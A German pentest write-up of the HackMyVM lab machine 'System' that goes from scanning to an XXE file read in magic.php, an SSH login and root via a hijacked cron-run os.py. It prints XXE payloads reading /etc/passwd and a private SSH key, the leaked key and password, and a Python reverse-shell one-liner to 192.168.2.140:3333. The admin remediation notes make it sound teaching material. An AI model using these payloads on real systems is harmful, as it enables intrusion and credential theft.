Analyse: Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerk mittels `arp-scan -l`.
192.168.2.113 08:00:27:89:db:93 PCS Systemtechnik GmbH
Bewertung: Ein Host mit der IP 192.168.2.113 wurde gefunden. Die MAC-Adresse deutet auf eine VirtualBox VM hin. Dies ist unser Zielsystem "System".
Empfehlung (Pentester): Fügen Sie einen Eintrag für `system.hmv` mit der IP 192.168.2.113 zur lokalen `/etc/hosts`-Datei hinzu, um die Namensauflösung zu ermöglichen. Führen Sie anschließend einen Port-Scan durch.
Empfehlung (Admin): Standardempfehlungen zur Netzwerküberwachung und Segmentierung.
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `system.hmv` der gefundenen IP-Adresse 192.168.2.113 zuzuordnen. Dies erleichtert die weitere Interaktion mit dem Zielsystem.
127.0.0.1 localhost 127.0.1.1 cyber 192.168.2.113 system.hmv
Bewertung: Die Namensauflösung für `system.hmv` ist nun lokal konfiguriert.
Empfehlung (Pentester): Verwenden Sie ab jetzt den Hostnamen `system.hmv` für Scans und Zugriffsversuche. Führen Sie den Port-Scan durch.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.
Analyse: Ein `nmap`-Scan wird auf das Ziel `192.168.2.113` gestartet, um offene Ports, Dienste, Versionen und OS-Informationen zu sammeln. Optionen: `-sS` (SYN Scan), `-sC` (Standard Skripte), `-T5` (schnelles Timing), `-sV` (Versionserkennung), `-A` (Aggressive Optionen), `-p-` (alle TCP-Ports).
Starting Nmap 7.93 ( https://nmap.org ) at [Scan Time] Nmap scan report for system.hmv (192.168.2.113) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA) | 256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA) |_ 256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: HackMyVM Panel |_http-server-header: nginx/1.18.0 MAC Address: 08:00:27:89:DB:93 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms system.hmv (192.168.2.113) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in [Scan Duration]
Bewertung: Zwei offene Ports wurden identifiziert: * **Port 22 (SSH):** OpenSSH 8.4p1 auf Debian. Erfordert gültige Anmeldedaten. * **Port 80 (HTTP):** nginx 1.18.0, der eine Webseite mit dem Titel "HackMyVM Panel" ausliefert. Dies deutet auf eine benutzerdefinierte Webanwendung hin. Die Hauptangriffsfläche ist die Webanwendung auf Port 80.
Empfehlung (Pentester): Führen Sie eine gründliche Web-Enumeration auf Port 80 durch (Verzeichnisse, Dateien, Parameter). Untersuchen Sie die Funktionalität des "HackMyVM Panel".
Empfehlung (Admin): Halten Sie nginx und OpenSSH aktuell. Sichern Sie die benutzerdefinierte Webanwendung ("HackMyVM Panel") gegen gängige Web-Schwachstellen ab.
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden. Es wird eine Standard-Wortliste und eine breite Palette von Erweiterungen genutzt. Die hohe Thread-Anzahl (`-t 100`) soll den Scan beschleunigen.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.113/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Status codes: 200,204,301,302,307,401,405 [+] User Agent: gobuster/3.1.0 [+] Extensions: php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv,.git [+] Expanded: true [+] Timeout: 10s =============================================================== [Scan Start Time] Starting gobuster =============================================================== http://192.168.2.113/cover.png (Status: 200) [Size: 15120] http://192.168.2.113/index.html (Status: 200) [Size: 1094] http://192.168.2.113/js (Status: 301) [Size: 169] [--> http://192.168.2.113/js/] http://192.168.2.113/magic.php (Status: 200) [Size: 85] =============================================================== [Scan End Time] Finished ===============================================================
Bewertung: Der Scan identifizierte: * `cover.png`: Eine Bilddatei. * `index.html`: Die Hauptseite (vermutlich das Panel). * `/js/`: Verzeichnis für JavaScript-Dateien. * `magic.php`: **Sehr interessant!** Eine PHP-Datei mit einem verdächtigen Namen, die untersucht werden sollte.
Empfehlung (Pentester): Untersuchen Sie `magic.php` genauer. Versuchen Sie, Parameter zu übergeben oder die Funktionalität durch Analyse des Quellcodes (falls zugänglich) oder durch Interaktion (z.B. mit Burp Suite) zu verstehen. Laden Sie `cover.png` herunter und analysieren Sie es auf versteckte Daten (Steganographie).
Empfehlung (Admin): Überprüfen Sie den Zweck und die Sicherheit von `magic.php`. Stellen Sie sicher, dass keine unnötigen Dateien im Web-Root liegen.
Analyse: Die gefundene Bilddatei `cover.png` wird mit `wget` heruntergeladen.
--2022-10-03 23:07:08-- http://192.168.2.113/cover.png Connecting to 192.168.2.113:80... connected. HTTP request sent, awaiting response... 200 OK Length: 15120 (14K) [image/png] Saving to: 'cover.png' cover.png 100%[===================>] 14.77K --.-KB/s in 0s 2022-10-03 23:07:08 (599 MB/s) - 'cover.png' saved [15120/15120]
Bewertung: Die Datei wurde heruntergeladen. Sie sollte auf versteckte Informationen (z.B. mit `steghide`, `zsteg` oder `strings`) untersucht werden. *Hinweis: Der weitere Verlauf des Berichts nutzt diese Datei nicht, daher war sie vermutlich eine falsche Fährte oder der Analyse-Schritt fehlt im Log.*
Empfehlung (Pentester): Analysieren Sie `cover.png` auf Steganographie. Konzentrieren Sie sich auf `magic.php`.
Empfehlung (Admin): Keine direkten Maßnahmen für die Bilddatei, außer sicherzustellen, dass sie keinen schädlichen Code enthält (falls sie z.B. dynamisch generiert würde).
Analyse: `dirsearch` wird als alternatives Tool zur Verzeichnissuche verwendet. Es bestätigt im Wesentlichen die Funde von `gobuster`.
_|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, .git | HTTP method: GET | Threads: 30 | Wordlist size: 4613 Target: http://192.168.2.113/ [23:08:57] Starting: [23:08:57] 200 - 1KB - /index.html [23:08:57] 301 - 169B - /js -> http://192.168.2.113/js/ Task Completed
Bewertung: `dirsearch` findet hier weniger als `gobuster` (insbesondere fehlt `magic.php`), was die Bedeutung unterstreicht, manchmal mehrere Tools oder Wortlisten zu verwenden. Bestätigt `index.html` und `/js`.
Empfehlung (Pentester): Verlassen Sie sich nicht auf ein einziges Tool. `gobuster` lieferte den wichtigeren Fund (`magic.php`).
Empfehlung (Admin): Keine neuen Empfehlungen.
Analyse: Abruf der HTTP-Header der Hauptseite mit `curl -I` unter Verwendung des Hostnamens.
HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 03 Oct 2022 21:19:20 GMT Content-Type: text/html Content-Length: 1094 Last-Modified: Sat, 02 Apr 2022 14:18:45 GMT Connection: keep-alive ETag: "62485b45-446" Accept-Ranges: bytes
Bewertung: Die Header bestätigen den nginx-Server und liefern Standardinformationen (Datum, Content-Type etc.). Keine besonderen Auffälligkeiten.
Empfehlung (Pentester): Fahren Sie mit der Untersuchung von `magic.php` fort.
Empfehlung (Admin): Erwägen Sie das Entfernen oder Anpassen des `Server`-Headers, um weniger Informationen preiszugeben (Security through Obscurity - geringer Effekt).
Analyse: `nikto` wird erneut ausgeführt, diesmal gegen den Hostnamen `system.hmv`.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.113 + Target Hostname: system.hmv + Target Port: 80 + Start Time: 2022-10-03 23:19:18 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.18.0 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + 7785 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2022-10-03 23:19:26 (GMT2) (8 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Bewertung: Nikto findet wieder nur die fehlenden Sicherheitsheader und keine spezifischen Schwachstellen. Dies bestärkt die Annahme, dass der Angriffsvektor in der benutzerdefinierten Anwendung (`magic.php`) liegt.
Empfehlung (Pentester): Interagieren Sie mit `magic.php` mittels POST-Requests, wie im nächsten Schritt gezeigt.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader.
Analyse: Eine POST-Anfrage wird mittels Burp Suite (oder einem ähnlichen Tool/curl) an `/magic.php` gesendet. Der Body der Anfrage enthält eine XML-Struktur. Entscheidend ist der DOCTYPE-Header ` ]>`, der eine externe XML-Entität namens `file` definiert, die auf die lokale Datei `/etc/passwd` verweist. Innerhalb der `
--- Request --- POST /magic.php HTTP/1.1 Host: system.hmv User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/plain;charset=UTF-8 Content-Length: 156 Origin: http://system.hmv Connection: close Referer: http://system.hmv/ ]>&file; pass
--- Response --- HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 03 Oct 2022 22:01:26 GMT Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 1556root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin david:x:1000:1000::/home/david:/bin/bash is already registered!
Bewertung: **XXE-Schwachstelle bestätigt!** Der Server hat die externe Entität verarbeitet und den Inhalt von `/etc/passwd` in die Antwort eingefügt. Dies ermöglicht das Lesen beliebiger Dateien auf dem System, auf die der Webserver-Benutzer (`www-data`) Zugriff hat. Der Benutzer `david` wird als Benutzer mit Bash-Zugriff identifiziert.
Empfehlung (Pentester): Nutzen Sie die XXE-Schwachstelle, um weitere sensible Dateien zu lesen:
* Konfigurationsdateien (`/etc/nginx/nginx.conf`, Anwendungs-Configs)
* SSH-Schlüssel (z.B. `/home/david/.ssh/id_rsa`)
* Andere Passwortdateien oder Logdateien (`.viminfo`, `.bash_history`, anwendungsspezifische Logs)
* Versuchen Sie, das Passwort für `david` oder dessen SSH-Schlüssel zu finden.
Empfehlung (Admin):** **Dringend:** Beheben Sie die XXE-Schwachstelle in `magic.php`. Konfigurieren Sie den XML-Parser so, dass externe Entitäten und DOCTYPE-Deklarationen deaktiviert werden. Dies ist eine Standardeinstellung in vielen modernen Bibliotheken, muss aber oft explizit sichergestellt werden.
Analyse: Weitere Ausnutzung der XXE-Schwachstelle, um gezielt nach sensiblen Dateien des Benutzers `david` und potenziellen Passwortdateien zu suchen.
--- Payload 1 --- ]>...&file;...--- Result 1 (Relevant Part) --- /usr/local/etc/mypass.txt --- Payload 2 --- ]>...&file;...--- Result 2 --- h4ck3rd4v!d --- Payload 3 --- ]>...&file;...--- Result 3 --- -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----
Bewertung: Die XXE-Ausnutzung war sehr erfolgreich: * `.viminfo` enthielt den Pfad `/usr/local/etc/mypass.txt`. * `mypass.txt` enthielt das Passwort `h4ck3rd4v!d`. * Der private SSH-Schlüssel (`id_rsa`) für den Benutzer `david` wurde ebenfalls ausgelesen.
Empfehlung (Pentester): Es gibt nun zwei Wege für den Initial Access als `david`:
1. SSH-Login mit dem Passwort `h4ck3rd4v!d`.
2. SSH-Login mit dem extrahierten privaten Schlüssel (zuerst Berechtigungen anpassen: `chmod 600 [keyfile]`). Prüfen, ob der Schlüssel passwortgeschützt ist (`ssh2john`).
Empfehlung (Admin): Beheben Sie die XXE-Schwachstelle. Entfernen Sie Passwortdateien wie `mypass.txt`. Schützen Sie SSH-Schlüssel und Benutzerverzeichnisse mit korrekten Berechtigungen. Überwachen Sie Dateizugriffe.
Analyse: Der extrahierte SSH-Schlüssel wird in einer Datei gespeichert (angenommen als `rsa`), die Berechtigungen werden auf 600 gesetzt (nur für den Besitzer les-/schreibbar), und `ssh2john` wird verwendet, um zu prüfen, ob der Schlüssel passwortgeschützt ist.
[Keine Ausgabe]
rsa has no password!
Bewertung: Der SSH-Schlüssel ist **nicht** durch eine Passphrase geschützt. Dies ermöglicht einen direkten Loginversuch mit dem Schlüssel.
Empfehlung (Pentester): Versuchen Sie den SSH-Login mit dem Schlüssel (`ssh david@system.hmv -i rsa`). Falls das fehlschlägt (wie im nächsten Schritt), verwenden Sie das Passwort.
Empfehlung (Admin): Schützen Sie private SSH-Schlüssel immer mit starken Passphrasen.
Analyse: Versuch des SSH-Logins als `david` unter Verwendung des privaten Schlüssels (`-i rsa`). Dieser Versuch schlägt mit einem `error in libcrypto` fehl (möglicherweise ein Formatierungs- oder Berechtigungsproblem, das hier nicht weiter untersucht wird). Anschließend wird der Login mit dem zuvor gefundenen Passwort (`h4ck3rd4v!d`) versucht, welcher erfolgreich ist.
The authenticity of host 'system.hmv (192.168.2.113)' can't be established. ED25519 key fingerprint is SHA256:hyaH0n5p7+5xBVQEL/hRIeVRNWsLv8qjefRknYQi6Q. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'system.hmv' (ED25519) to the list of known hosts. Load key "rsa": error in libcrypto david@system.hmv's password: h4ck3rd4v!d Linux system 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: [Login Time] david@system:~$
Bewertung: **Initial Access erfolgreich!** Obwohl der Schlüssel-Login fehlschlug, war der Passwort-Login erfolgreich. Der Pentester hat nun eine Shell als Benutzer `david`.
Empfehlung (Pentester): Führen Sie die initiale Enumeration als `david` durch: `id`, `pwd`, `ls -la`, `cat user.txt`, `sudo -l`.
Empfehlung (Admin): Ändern Sie das Passwort von `david`. Untersuchen Sie, warum der Schlüssel-Login fehlschlug (Berechtigungen auf dem Server in `.ssh/authorized_keys`?). Beheben Sie die XXE-Schwachstelle und die Passwortpreisgabe.
Analyse: Nach dem SSH-Login als `david` wird die User-Flag gelesen und die Shell-Benutzer in `/etc/passwd` überprüft.
79f3964a3a0f1a050761017111efffe0
root:x:0:0:root:/root:/bin/bash david:x:1000:1000::/home/david:/bin/bash
Bewertung: User-Flag erfolgreich gelesen. `david` und `root` sind die einzigen Benutzer mit Bash-Shell.
Empfehlung (Pentester): Dokumentieren Sie die User-Flag. Führen Sie weitere Enumeration durch, insbesondere Prozessüberwachung (z.B. mit `pspy`), da `sudo -l` oder SUID/Capabilities bisher keine klaren Vektoren lieferten (Annahme basierend auf dem nächsten Schritt).
Empfehlung (Admin): Keine spezifischen Maßnahmen für die Flag.
Analyse: Das Prozessüberwachungstool `pspy64` wird auf das Zielsystem hochgeladen und ausgeführt, um laufende Prozesse und insbesondere Cron-Jobs zu identifizieren, die zur Rechteausweitung genutzt werden könnten.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 192.168.2.113 - - [04/Oct/2022 00:18:17] "GET /pspy64 HTTP/1.1" 200 -
--2022-10-03 18:18:18-- http://192.168.2.140/pspy64 Connecting to 192.168.2.140:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3078592 (2.9M) [application/octet-stream] Saving to: 'pspy64' pspy64 100%[===================>] 2.94M --.-KB/s in 0.03s 2022-10-03 18:18:18 (91.3 MB/s) - 'pspy64' saved [3078592/3078592]
[Keine Ausgabe]
[...] 2022/10/03 18:19:15 CMD: UID=0 PID=1 | /sbin/init 2022/10/03 18:20:01 CMD: UID=0 PID=811 | /usr/sbin/CRON -f 2022/10/03 18:20:01 CMD: UID=0 PID=812 | /usr/sbin/CRON -f 2022/10/03 18:20:01 CMD: UID=0 PID=813 | /bin/sh -c /usr/bin/python3.9 /opt/suid.py [...]
Bewertung: **Kritischer Fund für Privilege Escalation!** `pspy` zeigt einen Cron-Job, der regelmäßig (vermutlich minütlich) als `root` (UID=0) das Python-Skript `/opt/suid.py` ausführt. Wenn dieses Skript oder eine der von ihm importierten Python-Bibliotheken für den Benutzer `david` beschreibbar ist, kann dies zur Rechteausweitung genutzt werden (Python Library Hijacking).
Empfehlung (Pentester): Überprüfen Sie die Berechtigungen von `/opt/suid.py`. Untersuchen Sie, welche Module dieses Skript importiert (insbesondere Standardbibliotheken wie `os`). Finden Sie den Pfad zu einer importierten Standardbibliothek (z.B. `os.py`) und prüfen Sie, ob diese Datei für `david` beschreibbar ist. Wenn ja, fügen Sie einen Reverse-Shell-Payload in diese Bibliotheksdatei ein.
Empfehlung (Admin):** **Dringend:** Überprüfen Sie den Cron-Job und das Skript `/opt/suid.py`. Stellen Sie sicher, dass das Skript und die von ihm verwendeten Bibliotheken nicht von unprivilegierten Benutzern manipuliert werden können. Führen Sie Cron-Jobs mit den geringstmöglichen Berechtigungen aus. Überprüfen Sie die Berechtigungen von Python-Bibliotheksdateien.
Analyse: Der Pfad zur Standardbibliothek `os.py` für Python 3.9 wird gesucht. Anschließend wird diese Datei (die für `david` beschreibbar sein muss, was hier impliziert wird) bearbeitet, um einen Python-Reverse-Shell-Payload einzufügen. Dieser Payload wird ausgeführt, sobald der Cron-Job `/opt/suid.py` das `os`-Modul importiert.
/usr/lib/python3.9/os.py
# Originaler Code ... cookie, nt._remove_dll_directory ) # --- Eingefügter Payload --- import socket,subprocess,os;s = socket.socket(socket.AF_INET,socket.SOCK_STREAM );s.connect(("192.168.2.140",3333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); # ------------------------- # Originaler Code ...
Bewertung: Der Payload wurde erfolgreich in die Standardbibliothek `os.py` injiziert. Wenn der Cron-Job das nächste Mal läuft und `/opt/suid.py` das `os`-Modul importiert, wird der Reverse-Shell-Code als `root` ausgeführt.
Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem Angreifer-System (192.168.2.140) auf Port 3333 und warten Sie auf die eingehende Verbindung, wenn der Cron-Job das nächste Mal ausgeführt wird (normalerweise innerhalb einer Minute).
Empfehlung (Admin):** **Dringend:** Stellen Sie die ursprüngliche `os.py`-Datei wieder her. Korrigieren Sie die unsicheren Dateiberechtigungen für die Python-Bibliotheksdateien (sie sollten nur für root beschreibbar sein). Überprüfen und sichern Sie den Cron-Job und `/opt/suid.py`.
Analyse: Ein Netcat-Listener wird auf Port 3333 gestartet. Kurz darauf geht eine Verbindung vom Zielsystem ein, und eine Root-Shell wird präsentiert. Der `id`-Befehl bestätigt die Root-Rechte.
listening on [any] 3333 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.113] 55072
id
uid=0(root) gid=0(root) groups=0(root)
Bewertung: **Privilege Escalation erfolgreich!** Die Python Library Hijacking-Technik über den Cron-Job war erfolgreich und lieferte eine Root-Shell.
Empfehlung (Pentester): Navigieren Sie zum Root-Verzeichnis und lesen Sie die Root-Flag. Führen Sie Post-Exploitation-Aufgaben durch. Stellen Sie sicher, die modifizierte `os.py`-Datei wiederherzustellen oder zu bereinigen, um das System nicht dauerhaft zu beschädigen (gute Praxis in nicht-destruktiven Tests).
Empfehlung (Admin):** **Dringend:** Beheben Sie die Schwachstelle (Dateiberechtigungen der Python-Bibliothek, Cron-Job-Sicherheit). Überprüfen Sie das System auf Persistenzmechanismen.
Analyse: Innerhalb der erhaltenen Root-Shell wird das Root-Verzeichnis aufgesucht und die Root-Flag (`root.txt`) gelesen. Die User-Flag wurde bereits zuvor als `david` gelesen.
[Keine Ausgabe]
root.txt
3aa26937ecfcc6f2ba466c14c89b92c4
Bewertung: Beide Flags wurden erfolgreich gefunden und ausgelesen. Das Ziel der Übung ist erreicht.
Empfehlung (Pentester): Dokumentieren Sie die Flags und schließen Sie den Bericht ab.
Empfehlung (Admin): Konzentrieren Sie sich auf die Behebung der Schwachstellen: XXE in `magic.php`, Passwort in Textdatei (`mypass.txt`), unsichere Dateiberechtigungen der Python-Bibliothek `/usr/lib/python3.9/os.py`, unsicherer Cron-Job.